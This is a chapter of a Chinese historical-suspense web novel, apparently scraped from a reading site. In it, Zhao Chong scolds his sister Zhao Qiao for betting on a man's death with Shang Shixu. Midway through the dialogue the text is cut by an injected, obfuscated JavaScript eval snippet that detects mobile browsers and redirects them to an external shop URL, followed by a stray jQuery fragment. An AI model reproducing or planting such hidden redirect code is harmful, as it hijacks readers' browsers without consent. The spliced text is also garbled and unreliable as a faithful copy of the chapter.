85. 哥来妹去
作品:《说好的言情怎么干悬疑去了》 在赵乔挥斥方遒的时候,门外传来悉悉索索的声音,应是有人到来了,但屋内的人都处在赵乔的阴影之下,无人听见门外的动静。
连系统都安静如鸡。
门被有些力道的推开,一身劲装,眉目锋利如画,马尾高束的男子就堂而皇之的进来了,他一手还拎着看门的百灵的后脖颈,就像那天半夜在外面巡街时拎她那样,小鸡仔式拎法。
方才还狂炫酷拽吊炸天,叫嚣着要仰天长笑的女人瞬间变成一个畏畏缩缩的小鹌鹑,都不敢抬眼看来人,声音细如蚊呐:“……哥。”
“我去你三大爷的,系统!系统!我哥在外面你怎么不跟我说啊?他到底听到了多少啊混蛋!!!”
系统还处在余韵之中:“我刚刚被你的发言震撼到了,没注意。”
“就知道一来听雨楼就要丢脸,啊啊啊!”
赵崇嗤笑一声,看她是一种“没脑子的人突然有脑子”了的眼神:“怪不得这段时间天天不着家的往外跑,原本我以为是被哪个毛头小子勾了魂儿了,现在看来,是成精了。”
“如果成精能选,那我申请成为孔雀精,那个漂亮。”赵乔小声嘀咕。
赵崇撒开百灵转向赵乔:“说你胖你还喘上了?我赵崇倒还真看走了眼,我的好妹妹竟真有几分斤两,什么赌都敢应,什么事都敢做。太祖打天下的时候要是捎上你,能早立国十年吧?”
“哎哎哎,别拎后领子!啊呀,拎到我的璎珞项圈了,呕,我要被勒死啦!赵崇!”
商时序&陈清窈:“……”气氛从一种凝重悲壮转变到荒谬只需要一个赵崇。
赵家兄妹,恐怖如斯。
“叨扰二位,这个妹妹口出狂言,我安国公府自会教导。”赵崇把赵乔扔出门外,和她的好丫头百灵扔做一团,冲屋内二位拱手道:“给商大人添麻烦了,至于宣平伯府世子之死,我在门外听着与我妹妹无关。商少卿找到证据之前,莫再来找她。”
门外的赵乔和百灵抱在一起,赵乔抽着鼻子看赵崇睁着眼睛说瞎话:“百灵,一会儿你要保护我。”
“我吗?小姐?”百灵也抽着鼻子:“您,您也太高看我了,百灵做不到啊!”
赵崇大跨步出来,瞥一眼俩姑娘,冷声道:“还在这儿等什么呢?天上掉金锭?也不怕把你们脑袋砸穿。”
赵乔惊叹:“哥,你这张嘴出去真的不会被撕烂吗?竟然真给你活到大了,爹娘一定出了大力了。”
百灵扯扯她的袖子:“小姐,不是说要冷静吗?”不要再挑衅了,没看见大少爷白眼都要飞上天了吗?您不想活,她还想活啊!
赵崇嘴里不善的呵了一声,也不看她,大步流星走到街上,寻了个不远处的酒楼径直进去,握拳敲击桌面:“一个包厢,角落一些,先别上菜。”
“哎哎哎,好嘞!”
赵崇回首:“等着我抱你呐?自己跟上!”
收了钱的伙计眼神逡巡在他们身上,赵乔赶忙在两人中间比划,解释道:“兄妹,亲兄妹,一个爹一个娘,没有后爹也没有后娘。”
伙计了然,怪不得,要是情人,那男子就算再俊美伟岸,这般说话也不会有姑娘愿意跟他,还是这么漂亮的姑娘。
赵乔煞有介事的道:“是吧,他就是狗脾气。”
上楼上了一半见没人跟上的赵崇往那边一看,发现再不开口,他的好妹妹就快和伙计要聊上了,有些不耐烦:“赵乔!”
“来啦~”赵乔原地跳了一下,学着唱戏双手飘起,锵锵锵锵的就小跑过去了,刚到楼梯口,扶着扶手露出了一个谄媚的笑:“哥,咱们到这儿来干嘛?”
赵崇:“来饭馆不吃饭难道去上菜吗?”
“瞧您说的。”赵乔害了一声,确认道:“那个,咱家不搞家暴的对吧?”
赵崇真不知道赵乔脑子里整天都想些什么乱七八糟的,没好气道:“你这小身板扛得住我一拳?赶紧走,别在这儿丢人。”
在包厢中坐定,赵乔真心体会了一把如坐针毡如芒刺背如鲠在喉,她笑的僵硬:“哥……”
“你出去。”
赵乔:“好嘞。”
“说的是丫头!你给我坐好!”
百灵深刻演绎识时务者为俊杰,给赵乔递了个您自求多福的表情,去外头给他们守门去了。
赵崇典型武将坐姿,大马金刀,又有贵族子弟特有的骄傲矜贵,微微昂着头,这样的姿态总会让被他注视的人有种被审视的感觉,还自带嘲讽。
柿子挑软的捏。也没见他在祯和帝面前这样,这就是毒唯面对正主和嫂子的区别吗?
“赌约的事,说清楚。”赵崇开门见山,直奔主题。
赵乔自认是个小机灵鬼,才不会一问就倒豆子,怂但猛:“想知道什么你就问嘛,只让我说我也说不明白。”
赵崇又开始阴阳怪气的呵了,他亲自伸手给赵乔倒了杯水。原本还以为他转性准备开展怀柔战术,结果这哥把杯子砸在了她面前,里面的水直往天上跳,连带着赵乔也坐着往上窜了窜。
“别在这儿给我唧唧歪歪的,说不明白也得说!”
真没招了,一力降十会,她除了坦白没别的路走,畏畏缩缩的去捞杯子。
哎?赵乔震惊的把掉了底的杯子圈望远镜似的放在右眼前,得,一半水上天,一半水落地,也是都死得其所。
“就是那日在听雨楼。”赵乔:“我同商少卿打赌,陛下做了个见证。”
赵崇冷笑:“拿解方池的命打赌?”
“他本身就难逃一死,当日兄长也是知道的吧?”赵乔理所应当道。
赵崇:“他死不死跟你有什么关系?你怎么想的要掺和进来。”
赵乔回忆往昔,道:“当时没想这么多,只觉得有趣,又能和我这个未婚夫多些接触的机会,没理由不接受啊。解方池一个政治牺牲品,死谁手里不是死。”
这个理由才最是让人难以理解,反正赵崇是真的不理解,他以为妹妹是不知道轻重,但看样子她明白的很,明知道前面是个深不见底的泥沼,还热热闹闹万分欣喜的往下跳。
“而且我真没动手。”一说起这个,赵乔腰杆就硬起来了:“真的,动手的是陛下身边的人,叫黎武,我就负责出个脑子,和商时序玩玩罢了。”
赵崇面无表情:“玩玩儿?赵乔,从小到大谁教给你的这种态度?敬畏生命,保护弱小,从小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373530|194513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学的都被狗吃肚子里了?”
他最气的就是她无所谓的态度!赵崇本身就是杀伐之人,杀的多了,心境就会一点点改变。生命在手中流逝的太快太轻松,变得没有真实感,刀划破皮肉,鲜血四溢的画面反复游荡在四肢百骸,一想起就热血沸腾。渐渐的,就只有这些东西能勾起兴趣。
初初这样的变化自己是察觉不到的,只感觉自己越发勇猛无畏,敢拼敢干,若非父亲及时察觉,将自己带离战场,他不知会变成什么样。
在他重返战场的那一天,父亲安国公拍着他的肩膀语重心长道:“高明吾儿,杀人可以是手段,但绝不能成为目的。”
他赵崇是职责所在,保家卫国,可赵乔算是怎么回事?她以此为乐,并洋洋自得。不能让父母知道忧心,长兄如父,那就他来教育。
“我施粥救济,善待身边人,为人大方妥帖,上孝顺父母,下爱护花草。”赵乔气性也起来了:“究竟是做了什么大逆不道的事情让你这样质疑我的人品和家教?”
赵崇:“你敢说你没有以设计人命为乐?在计谋得逞之后洋洋自得?”
“是又如何?”赵乔不以为耻:“我只负责提供建议,并且每一次我都明明白白的告诉他们会有什么样的后果。如何选,决定权在他们,从不在我。兄长,不是我洋洋自得,而是你高高在上。”
“你爱怎么说怎么说。”
赵崇不是她三言两语就动摇的人,他懒得同她争论对错,只负责下结论:“以前我不管,从此以后,再不要做。”
“不可能。”赵乔摆出了在听雨楼对待商时序的姿态。
赵崇被气的青筋直跳:“赵乔,你现在日日官司缠身很光荣是吗?”
“哥,当初你为什么选择去当兵?”赵乔突然问。
赵崇:“与你无关。”
“那我的事也与你无关。”
赵崇深吸一口气:“因为向往。”
赵乔又问:“那为什么你不读书做文官呢?明明你的学问也极好。”
“不喜欢。”
“如果不让你当兵了呢?一辈子只能做个文官,每天就是朝廷的波诡云谲,同僚的尔虞我诈。”
很明显赵乔抓住了赵崇的点,赵崇是个聪明人,一下子就知道她的用意,讽刺:“你拿你这些玩意儿跟我保家卫国相提并论?你在侮辱我吗?”
“只是让你设身处地的思考,别上纲上线。”赵乔:“我已经过过了这样的生活,诡计、人心,每日都有新的体验,那些平静到无趣的生活就过不了了。哥,我答应你,我绝不杀人,不欺凌弱小。”
“赵乔,你不能保证你了解的都是真相。”赵崇深深看她:“一旦你做错了选择,帮错了人,等你的是比死还可怕的事情,有些阴影会追随你一生。就算时光荏苒,你觉得你已经释怀了,但可能你爱的人病一场,就又会开始回忆,质问自己这是不是你的报应。”
赵乔笑了:“兄长,我不否认,甚至认同你说的。但是……做什么不会呢?就算我做个安于后宅的平凡女子,也可能遇到你所说的结果,因为这世间的道理都是一样的。”
“因为可能性,就放弃花开,是很可笑的一件事。”

